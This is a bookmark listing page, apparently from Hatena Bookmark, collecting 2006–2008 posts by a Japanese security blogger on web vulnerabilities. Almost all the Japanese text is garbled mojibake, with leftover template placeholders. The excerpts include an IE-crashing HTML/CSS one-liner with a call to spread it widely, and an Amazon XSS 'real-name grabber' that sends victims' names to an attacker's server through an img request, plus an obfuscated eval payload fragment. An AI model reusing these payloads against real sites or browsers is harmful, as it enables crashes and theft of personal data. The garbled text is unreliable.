[B! ã¯ã¾ã¡ã¡ã‚ƒã‚“] brain-boxã®ãƒ

brain-box id:brain-box

ã¯ã¾ã¡ã¡ã‚ƒã‚“ã«é–¢ã™ã‚‹brain-boxã®ãƒ–ãƒƒã‚¯ãƒžãƒ¼ã‚¯ (10)

${{author_name}}$

{{{comment_expanded}}}

{{label}}

{{#is_bookmark}}ãƒªã‚¹ãƒˆ{{/is_bookmark}}{{^is_bookmark}}ãƒªãƒ³ã‚¯{{/is_bookmark}}

${{author_name}}$
{{author_name}}{{created}}
{{ #comment }}{{ comment }}{{ /comment }}
- {{ label }}

${{author_name}}$

{{{comment_expanded}}}

{{label}}

{{#is_bookmark}}ãƒªã‚¹ãƒˆ{{/is_bookmark}}{{^is_bookmark}}ãƒªãƒ³ã‚¯{{/is_bookmark}}

ãƒ¡ãƒ¼ãƒ«ãƒœãƒƒã‚¯ã‚¹ã‚’ã‚¹ãƒƒã‚ãƒªã•ã›ãŸã„ - ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼
ã“ã‚“ã«ã¡ã¯ï¼ è²·ã„ç‰©ã—ã¦ã¾ã™ã‹ï¼ é€šè²©ã¨ã‹ï¼ ã¼ãã‚‚è²·ã„ã¾ãã‚Šã§ã™ã‚ˆï¼ ã§ã‚‚ã€ãƒãƒƒãƒˆã®é€šè²©ã§è²·ã„ç‰©ã—ãŸã‚Šã€ã„ã‚ã‚“ãªã‚µãƒ¼ãƒ“ã‚¹ã«ç™»éŒ²ã—ãŸã‚Šã—ã¦ã‚‹ã¨ã€ ã©ã‚“ã©ã‚“ãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆãƒ¡ãƒ¼ãƒ«ã§æº¢ã‚Œã¦ã€ãƒ¡ãƒ¼ãƒ«ãƒœãƒƒã‚¯ã‚¹ãŒãã¡ã‚ƒãã¡ã‚ƒã«ãªã£ã¡ã‚ƒã†ã‚“ã ã‚ˆãâ€¦ï¼ ã“ã‚Œã€ã‚‚ã†ã¡ã‚‡ã£ã¨ã‚¹ãƒƒã‚ãƒªã—ãªã„ã‹ãªãƒ¼ã¨æ€ã£ã¦ã€è‡ªåˆ†ãªã‚Šã«ã‚„ã£ã¦ã‚‹ã‚„ã‚Šæ–¹ã‚’æ›¸ã„ã¦ã¿ã¾ã™ãï¼ èª°ã‹ã®å‚è€ƒã«ãªã‚Œã°ï¼ 1. ã¾ãšã¯ã€ãŠã‹ã„ã‚‚ã®ç”¨ãƒ¡ãƒ¼ãƒ«ã‚’ä½œã‚ã†ï¼ ã¨ã‚Šã‚ãˆãš GMail ã¨ã‹ã§ã€ŒãŠã‹ã„ã‚‚ã®å°‚ç”¨ãƒ¡ãƒ¼ãƒ«ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã€ä½œã£ã¦ãŠãã¨ä¾¿åˆ©ã ã‚ˆã£ã¦ãŠè©±ã§ã™ï¼ å¤ãã‹ã‚‰æŒã£ã¦ã‚‹ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã§ãŠè²·ã„ç‰©ã—ã¾ãã£ã¡ã‚ƒã£ã¦ã‚‹äººã‚‚ã€ä»Šã‹ã‚‰ã§ã‚‚â€¦ï¼ æ™‚ä»£ã¯å¤‰ã‚ã£ã¡ã‚ƒã£ãŸãâ€¦ï¼ ã¡ã‚‡ã£ã¨å‰ã¾ã§ã¯ã€ã©ã“è¡Œã£ã¦ã‚‚ã€Œãƒ•ãƒªãƒ¼ãƒ¡ãƒ¼ãƒ«ã¯ã ã‚ãªã‚“ã§ã™ã€ã€Œãƒ—ãƒãƒã‚¤ãƒ€ã®ãƒ¡ãƒ¼ãƒ«ã§ãŠããŒã„ã—ã¾ã™ã€ãªã‚“ã¦è¨€ã‚ã‚ŒãŸã‚‚ã®ã ã‘ã©ã€ ã„ã¾ã‚„ãƒ•ãƒªãƒ¼ãƒ¡ãƒ¼ãƒ«ã¯ã‚ãŸã‚Šã¾ãˆï¼ ãã‚‚ãã‚‚ã€ãƒ—ãƒãƒã‚¤ãƒ€ã«ãƒ¡ãƒ¼ãƒ«ã¤ã„ã¦ã„ãªã‹
brain-box 2008/08/19
+è¨˜å·ãŒä½¿ãˆãªã„ã‚µã‚¤ãƒˆã¯ã€Œï¼Žã€ã‚’åˆ©ç”¨ã—ãŸGmailã®ã‚¨ã‚¤ãƒªã‚¢ã‚¹ã‚’ä½¿ã„ã¾ã—ã‚‡ã†ã€‚

gmail

lifehack

ã¯ã¾ã¡ã¡ã‚ƒã‚“
ãƒªãƒ³ã‚¯
ã“ã®ã¾ãˆã†ã£ã‹ã‚Šæ„›ç”¨ã—ã¦ã„ãŸãƒŽãƒ¼ãƒˆPC(VAIO Z1)ã«ã‚³ãƒ¼ãƒ’ãƒ¼ã‚’ã“ã¼ã—ã¡ã‚ƒã£ãŸã‚“ã ã‘ã©1ç§’ã§çµ¶å‘½ã—ãŸã‚ˆã€‚ãªã‚“ã‹é›»æºå…¥ã‚‰ãªããªã£ã¡ã‚ƒã£ãŸã‹ã‚‰ã€ã¿ã‚“ãªã‚‚æ°—ã‚’ã¤ã‘ãŸã»ã†ãŒã„ã„ãã€‚ãã‚Œã§ã‚µãƒãƒ¼ãƒˆã«ä¿®ç†ä¾é ¼ã®é›»è©±ã—ã¦ï¼“æ—¥ãã‚‰ã„ã§ä¿®ç†è¦‹ç©ã‚‚ã‚ŠãŒã§ãŸã‚“ã ã‘ã©ã€‚20ä¸‡4435å††ã€‚20ä¸‡å††ã£ã¦ï¼æœ€ä½Žé™ã®éƒ¨å“äº¤æ›ã§ã„ã„ã§ã™å‹•ã‘ã°ã„ã„ã§ã™ã£ã¦è¨€ã£ãŸã‚‰ã€ãƒžã‚¶ãƒ¼ãƒœãƒ¼ãƒ‰äº¤æ›ã ã‘ã§12ä¸‡7000å††ã¨ã®ã“ã¨ã€‚ã±ãã“ã‚“ã‹ãˆã¡ã‚ƒã†ã‚ˆï¼žï¼œã€‚ã‚ãƒ¼ãƒŽãƒ¼ãƒˆåž‹ã§ã€ç”»é¢ãŒæ¨ª1280ä»¥ä¸Š(ã§ãã‚Œã°1400ä»¥ä¸Š)ã§ã€ç¸¦800ä»¥ä¸Š(ã§ãã‚Œã°1024ä»¥ä¸Š)
(å‚è€ƒ) ä»¶åã ã‘ã§ç”¨ä»¶ã‚’çµ‚ã‚ã‚‰ã›ã‚‹ã€ŒEOMã€ã¨ã¯ : ãƒ©ã‚¤ãƒ•ãƒãƒƒã‚«ãƒ¼ï¼»æ—¥æœ¬ç‰ˆï¼½
brain-box 2008/08/02
EOMã®ã‚¨ãƒ³ãƒˆãƒªã‚’è¦‹ã¦ã€ã“ã†ã„ã†æ–‡ç« ã‚’ã™ã‚‰ã£ã¨ã‹ã‘ã‚‹è¦–ç‚¹ãŒã•ã™ãŒã¯ã¾ã¡ã¡ã‚ƒã‚“ã ã¨æ€ã†ã€‚â—‹â—‹ã¨ã„ã†ã‚‚ã®ãŒã‚ã‚‹â†’ã“ã†ã„ã†ä½¿ã„æ–¹ã‚’ã—ãŸã‚‰ã©ã†ãªã£ã¡ã‚ƒã†ã‚“ã ã‚ã†ï¼Ÿã¨ã„ã†æµã‚Œã‚’å¸¸ã«æ„è˜ã™ã‚‹ã¨ã„ã„ã®ã‹ã‚‚ã€‚

å¾Œã§èªã¾ãªã„

ã‚¿ã‚¤ãƒˆãƒ«ã ã‘èªã‚“ã

ã¯ã¾ã¡ã¡ã‚ƒã‚“
ãƒªãƒ³ã‚¯
(å±é™ºãªè¿½è¨˜ã‚ã‚Š) ã¯ã¦ãªãƒ€ã‚¤ã‚¢ãƒªãƒ¼ã§Yahoo!ã‚µã‚¤ãƒˆã‚¨ã‚¯ã‚¹ãƒ—ãƒãƒ¼ãƒ©ãƒ¼ã®èªè¨¼ã‚’ã—ã‚ˆã†ï¼ - ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼(Hatena)
(Summary in English of this entry) Utilizing Yahoo! Site Explorer, it is possible for third parties to prevent your site by being displayed in search results. The reason is that the meta tag used for administrative rights confirmation is accepted even in the the page body even if it is html escaped. 3rd parties can gain control of your site simply by adding a comment to one of your pages. ã“ã‚“ã«ã¡ã¯ã“ã‚“ã«
brain-box 2008/05/26
yahoo

ã¯ã¾ã¡ã¡ã‚ƒã‚“

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

ã¯ã¦ãª

web
ãƒªãƒ³ã‚¯
Amazonã®ã™ã”ã„ã‚¢ã‚¯ã‚»ã‚¹è§£æžã‚µãƒ¼ãƒ“ã‚¹ - ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼
ã“ã‚“ã«ã¡ã¯ï¼ Amazonã»ã—ã„ç‰©ãƒªã‚¹ãƒˆã€ã™ã”ã„è©±é¡Œã«ãªã£ã¦ã¾ã™ãï¼ ãªã‚“ã§ã‚‚ã€ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã§æ¤œç´¢ã™ã‚Œã°Amazonã«ç™»éŒ²ã—ã¦ã‚ã‚‹æœ¬åãŒã§ã¦ãã‚‹ (ã‚±ãƒ¼ã‚¹ã‚‚ã‚ã‚‹) ã¨ã‹â€¦ã€‚ ã§ã€ã•ã£ããã¼ãã‚‚è©¦ã—ã¦ã¿ãŸã‚ˆï¼ ã»ã—ã„ç‰©ãƒªã‚¹ãƒˆã‚µãƒ¼ãƒï¼ ã“ã‚Œã£ã¦ã€ã„ã¾è©±é¡Œã«ãªã£ã¦ã„ã‚‹ã®ã¯ã€èª°ã‹ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’æ‰‹ãŒã‹ã‚Šã«ã—ã¦ ã‚¦ã‚£ãƒƒã‚·ãƒ¥ãƒªã‚¹ãƒˆã‚„æœ¬åã€ä¸‹æ‰‹ã™ã‚‹ã¨ä½æ‰€ã¾ã§çŸ¥ã‚‰ã‚Œã¦ã—ã¾ã†ã£ã¦ã¨ã“ã‚ã ã‚ˆãã€‚ ãã‚Œã ã‘ã§ã‚‚é¢ç™½ã„ã‚“ã ã‘ã©ã€ ã‚ã¾ã‚Šæ³¨ç›®ã•ã‚Œã¦ã„ãªã„æ©Ÿèƒ½ã¨ã—ã¦ã€ã“ã‚“ãªã‚‚ã®ãŒã‚ã£ãŸã‚ˆã€‚ å‹ã ã¡ã«ã»ã—ã„ç‰©ãƒªã‚¹ãƒˆã«ã¤ã„ã¦çŸ¥ã‚‰ã›ã‚‹ ã“ã‚Œã€‚ è‡ªåˆ†ã®ã»ã—ã„ç‰©ãƒªã‚¹ãƒˆã‚’èª°ã‹ã«ãƒ¡ãƒ¼ãƒ«é€ä¿¡ã§ãã¡ã‚ƒã†æ©Ÿèƒ½ã‚‰ã—ã„ãï¼ ã˜ã‚ƒã‚è©¦ã—ã«ãƒ¡ãƒ¼ãƒ«é€ä¿¡æ™‚ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’ç¢ºèªã—ã¦ã¿ã‚‹ã¨â€¦ http://www.amazon.co.jp/gp/registry/send-nudge.html?ie=UTF8&type=wishlist&__mk_j
brain-box 2008/03/12
ã¯ã¾ã¡ã¡ã‚ƒã‚“

ã“ã‚Œã¯ã²ã©ã„

security

amazon
ãƒªãƒ³ã‚¯
ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼ ã“ã‚“ã«ã¡ã¯ã“ã‚“ã«ã¡ã¯!! (1/5)
å¤ãã‹ã‚‰ã®mixiãƒ¦ãƒ¼ã‚¶ãƒ¼ã§ã‚ã‚Œã°ã€â€œã¯ã¾ã¡ã¡ã‚ƒã‚“äº‹ä»¶â€ã‚’è¦šãˆã¦ã„ã‚‹äººã‚‚å¤šã„ã ã‚ã†ã€‚2005å¹´4æœˆã€mixiã§å¤§å‹¢ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒâ€œã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼â€ã¨ã„ã†ã‚¿ã‚¤ãƒˆãƒ«ã‚’ä»˜ã‘ãŸã€è¬Žã®æ—¥è¨˜ã‚’æ¬¡ã€…ã«å…¬é–‹ã™ã‚‹ã¨ã„ã†æ€ªç¾è±¡ãŒèµ·ã“ã£ãŸã€‚ ãã£ã‹ã‘ã¨ãªã£ãŸã®ã¯ã€ã‚ã‚‹ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒæŠ•ç¨¿ã—ãŸæ—¥è¨˜ã€‚ãã®æ—¥è¨˜ã®æœ¬æ–‡ã«ã¯ã€Œã“ã‚“ã«ã¡ã¯ã“ã‚“ã«ã¡ã¯!!ã€ã¨ã„ã†è¨€è‘‰ã¨ã¨ã‚‚ã«â€œã‚ã‚‹URLâ€ãŒè²¼ã‚Šä»˜ã‘ã¦ã‚ã£ãŸã€‚ ã“ã®URLãŒç½ ã§ã€ä¸æ€è°ã«æ€ã£ã¦æŠ¼ã™ã¨ã€ã‚¯ãƒªãƒƒã‚¯ã—ãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã®ãƒšãƒ¼ã‚¸ã«â€œã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼â€ã¨ã„ã†ã‚¿ã‚¤ãƒˆãƒ«ã§åŒã˜æ–‡é¢/URLã®æ—¥è¨˜ãŒå‹æ‰‹ã«ã‚¢ãƒƒãƒ—ã•ã‚Œã¦ã—ã¾ã†ã®ã ã€‚ æŠ•ç¨¿ã¯â€œããšã¿ç®—â€çš„ã«å¢—ãˆã€ä¸€æ™‚ã¯æ··ä¹±çŠ¶æ…‹ã«â€¦â€¦ ã•ã‚‰ã«ã€å‹æ‰‹ã«ã‚¢ãƒƒãƒ—ãƒãƒ¼ãƒ‰ã•ã‚ŒãŸæ—¥è¨˜ã‚’è¦‹ã¦ã€Œå‹é”ãŒå¤‰ãªæ—¥è¨˜ã‚’æ›¸ã„ã¦ã„ã‚‹ã€ã¨èˆˆå‘³ã‚’æŒã£ãŸå‹é”ãŒURLã‚’ã‚¯ãƒªãƒƒã‚¯â€¦â€¦ã€‚mixiå†…ã«ã¯â€œã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼â€ã¨ã„ã†é¡Œåã®æ—¥è¨˜ãŒâ€œããšã¿ç®—å¼â€ã«å¢—ãˆã¦ã„ãã€ä¸€éƒ¨ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’æ··
brain-box 2007/09/03
security

ã¯ã¾ã¡ã¡ã‚ƒã‚“
ãƒªãƒ³ã‚¯
IEã‚’è¯éº—ã«æ’ƒå¢œã™ã‚‹ä¸€è¡Œ - ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼(Hatena)
ã¯ã„ï¼ ã“ã‚“ã«ã¡ã¯ï¼ï¼ï¼ï¼ï¼ ä»Šæ—¥ã¯ã€å¶ç„¶ãƒ–ãƒ©ã‚¯ãƒ©ç™ºè¦‹ã—ã¡ã‚ƒã£ãŸã‹ã‚‰ã€ãã‚Œã‚’ãŠä¼ãˆã—ã¾ã™ãï¼ ã“ã‚Œã ã‚ˆï¼ <style>*{position:relative}</style><table><input></table> â†’ ã‚µãƒ³ãƒ—ãƒ« (IEã ã¨ãƒ–ãƒ©ã‚¦ã‚¶ãŒçµ‚äº†ã—ã¡ã‚ƒã†ã‚ˆï¼ æ³¨æ„ã—ã¦ãï¼) IE6ã¨ã‹IE6ã®ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆãƒ–ãƒ©ã‚¦ã‚¶ã ã¨ç¢ºå®Ÿã«è½ã¡ã¡ã‚ƒã†ã¿ãŸã„ã ãï¼ IE7ã¯ç¢ºèªã—ã¦ãªã„ã‘ã©ï¼ tableã¨ã‹trã®ç›´ä¸‹ã«ã€inputã¨ã‹selectãŒã‚ã£ã¦ã€ ãã®ã‚ãŸã‚Šã«cssã®å…¨ç§°ã‚»ãƒ¬ã‚¯ã‚¿ã§position:relativeãŒã‚ãŸã£ã¦ã„ã‚‹ã¨ãƒ€ãƒ¡ãªã‹ã‚“ã˜ã‹ãªï¼ ã¡ãªã¿ã«inputã«styleã§ç›´æŽ¥relativeã‚ã¦ã¦ã‚‚è½ã¡ãªã‹ã£ãŸã‚ˆï¼ ãªã«ã“ã‚Œï¼ ã‚ˆãã‚ã‹ã‚“ãªã„ã‘ã©é¢ç™½ã„ãâ€¦ï¼ Firefoxã¨ã‹Operaå¤§å¥½ãã£åã¯ã€ ã“ã‚Œã‚’ãŸãã•ã‚“ãƒãƒ©ã¾ã„ã¦IEã®ã‚·ã‚§ã‚¢ã‚’ã©ã‚“ã©ã‚“ä¸‹ã’ã¡ã‚ƒãˆã°ã„ã„ã¨æ€ã†ã‚ˆï¼
brain-box 2007/08/05
ã¯ã¾ã¡ã¡ã‚ƒã‚“

css

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

security
ãƒªãƒ³ã‚¯
IPAã€ã‚»ãƒŸãƒŠãƒ¼å—ä»˜ãƒ•ã‚©ãƒ¼ãƒ ã«XSSã®è„†å¼±æ€§ãŒè¦‹ã¤ã‹ã‚‹
Windows SQL Server 2005ã‚µãƒãƒ¼ãƒˆçµ‚äº†ã®4æœˆ12æ—¥ãŒè¿«ã‚‹ã€å ±å‘Šæ¸ˆã¿è„†å¼±æ€§ã®æ·±åˆ»åº¦ã‚‚é«˜ãã€æ—©æ€¥ãªç§»è¡Œã‚’
brain-box 2007/02/04
ã¯ã¾ã¡ã¡ã‚ƒã‚“

xss

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

è„†å¼±æ€§
ãƒªãƒ³ã‚¯
IPA XSS
ã“ã“ã¯IPAã®ã‚µã‚¤ãƒˆã®XSSè„†å¼±æ€§ã‚’æ¤œè¨¼ã™ã‚‹ãƒšãƒ¼ã‚¸ã§ã—ãŸã€‚ ç¾åœ¨ã¯ã€ã“ã¡ã‚‰ã®è„†å¼±æ€§ã¯ä¿®æ£ã•ã‚Œã¦ã„ã‚‹ã‚ˆã†ãªã®ã§ã€ã©ã†ãžã”å®‰å¿ƒãã ã•ã„ã€‚
brain-box 2007/01/31
xss

ã¯ã¾ã¡ã¡ã‚ƒã‚“
ãƒªãƒ³ã‚¯
ITmedia Newsï¼šWeb2.0æ™‚ä»£ã®â€œè„†å¼±æ€§â€â€•â€•mixiãƒã‚§ãƒ¼ãƒ³æ—¥è¨˜ã¯ãªãœåºƒã¾ã£ãŸã‹ (1/2)
ã€Œmixiæ—¥è¨˜ã‚’ä»‹ã—ã¦ã‚¦ã‚¤ãƒ«ã‚¹ãŒåºƒã¾ã£ã¦ã„ã‚‹ã€â€•â€•æ—¥æœ¬æœ€å¤§æ‰‹ã®ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚ãƒ³ã‚°ã‚µãƒ¼ãƒ“ã‚¹ï¼ˆSNSï¼‰ã€Œmixiã€ä¸Šã§ã€ã“ã‚“ãªå†…å®¹ã®æ—¥è¨˜ãŒã€6æœˆ19æ—¥å¤œã‹ã‚‰21æ—¥ã”ã‚ã«ã‹ã‘ã¦ãƒã‚§ãƒ¼ãƒ³ãƒ¡ãƒ¼ãƒ«ã®ã‚ˆã†ã«åºƒãŒã£ãŸã€‚ä¸å¯©ãªç‚¹ã®å¤šã„æ—¥è¨˜ã ã£ãŸãŒã€å¤šãã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒä¿¡ã˜è¾¼ã‚“ã§è‡ªåˆ†ã®æ—¥è¨˜ã«ã‚³ãƒ”ãƒ¼ã—ãŸã‚Šã€ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã§çŸ¥ã‚Šåˆã„ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ï¼ˆãƒžã‚¤ãƒŸã‚¯ï¼‰ã«çŸ¥ã‚‰ã›ã‚‹ãªã©ã—ã¦æ€¥é€Ÿã«åºƒã¾ã£ãŸã€‚ 21æ—¥åˆå‰10æ™‚éŽãŽã«ã€é‹å–¶å…ƒã®ãƒŸã‚¯ã‚·ã‚£ãŒã€Œã‚¦ã‚¤ãƒ«ã‚¹ã«ã‚ˆã‚‹å½±éŸ¿ãªã©ã¯ä¸€åˆ‡ãªã„ã€ã¨å‘ŠçŸ¥æ–‡ã‚’å‡ºã™ã¾ã§ã€å°‘ãªãã¨ã‚‚æ•°åƒã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒæ—¥è¨˜ã‚’ä¿¡ã˜ã€ãƒžã‚¤ãƒŸã‚¯ã«ä¼ãˆã‚ˆã†ã¨è‡ªåˆ†ã®æ—¥è¨˜ã«ã‚³ãƒ”ãƒ¼ã€‚ãƒ”ãƒ¼ã‚¯æ™‚ã§1åˆ†é–“ã«4ï½ž5ä»¶ã®æ—¥è¨˜ãŒæ›´æ–°ã•ã‚Œã¦ã„ãŸï¼ˆé–¢é€£è¨˜äº‹å‚ç…§ï¼‰ã€‚ ãƒã‚§ãƒ¼ãƒ³æ—¥è¨˜ãŒåºƒã¾ã£ãŸèƒŒæ™¯ã«ã¯ã€å‹äººã®æ—¥è¨˜ã«å¯¾ã™ã‚‹ç´ æœ´ãªä¿¡é ¼æ„Ÿã‚„ã€ã€Œæƒ…å ±ã‚’åºƒã’ã¦å•é¡Œã‚’é£Ÿã„æ¢ã‚ãã°ã€ã¨ã„ã†å–„æ„ãªã©ãŒã‚ã£ãŸã‚ˆã†ã ã€‚åºƒã‚ã¦ã—ã¾ã£ãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã«ã¯ã€ã€Œãƒã‚§ãƒ¼ãƒ³ãƒ¡ãƒ¼ãƒ«ã¯è»¢é€ã—ã¦ã¯ã„
brain-box 2006/06/27
ä»Šå›žã®é¨’å‹•ã«ãŠã„ã¦Web 2.0ã¨ã„ã†ã‚ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¯å¿…è¦ãªã„ã¨æ€ã†ã€‚å¼·ã„ã¦ã‚ã’ã‚‹ãªã‚‰ã€Œmixiãƒ¦ãƒ¼ã‚¶ã®ãƒªãƒ†ãƒ©ã‚·ã®ä½Žã•ã€ã‹ã¨

ã¯ã¾ã¡ã¡ã‚ƒã‚“

ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£

ãƒªãƒ†ãƒ©ã‚·ãƒ¼
ãƒªãƒ³ã‚¯
æœ¬åå¸ã„å–ã‚Šæ©Ÿ (AMAZON XSS) :: ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼
â†“ã“ã‚Œ è¶…ãŠã™ã™ã‚ãƒžãƒ³ã‚¬ãªã‚“ã§ã™ï¼ï¼ï¼ ã†ãã ã‘ã©ï¼ ( ä¿®æ£ãŒã¯ã„ã‚Šã¾ã—ãŸã€‚ã‚‚ã†å‹•ãã¾ã›ã‚“ ) å–å¾—å¾Œ alert ã®ã‹ã‚ã‚Šã«ã€è‡ªå‰ã§ç”¨æ„ã—ãŸã‚µãƒ¼ãƒãƒ¼ã« <img src="http://è‡ªå‰ã‚µãƒ¼ãƒãƒ¼/?æœ¬å"> ã‹ãªã‚“ã‹ã§ãƒªã‚¯ã‚¨ã‚¹ãƒˆã™ã‚‹ã‚ˆã†ã«ã—ã¨ã„ã¦ã€ãã®å¾Œã€é©å½“ãªæ›¸ç±ã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã•ã›ãŸã‚Šã™ã‚Œã°â€¦ï¼ æœ¬åå¸ã„å–ã‚Šæ©Ÿã®ã§ãã‚ãŒã‚Šï¼ ã“ã‚ã„ãï¼žï¼œ ãƒªãƒ³ã‚¯ã˜ã‚ƒãªãã¦ iframe ã¨ã‹ã«ã—ã¡ã‚ƒãˆã°ã€ã¸ã‚“ãªã®è¸ã¾ã›ã‚‹å¿…è¦ã™ã‚‰ãªã„ã‚ˆï¼ (ã¡ã‚‡ã£ã¨ã ã‘è§£èª¬) â†“urlãƒ‡ã‚³ãƒ¼ãƒ‰ã™ã‚‹ã¨ã“ã† http://www.amazon.co.jp/exec/obidos/tg/detail/-/<body onload=eval(String.fromCharCode(118, 97, 114, 32, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 9
brain-box 2006/05/19
ã“ã‚Œã¯ã²ã©ã„

ã¯ã¾ã¡ã¡ã‚ƒã‚“

amazon

xss
ãƒªãƒ³ã‚¯
1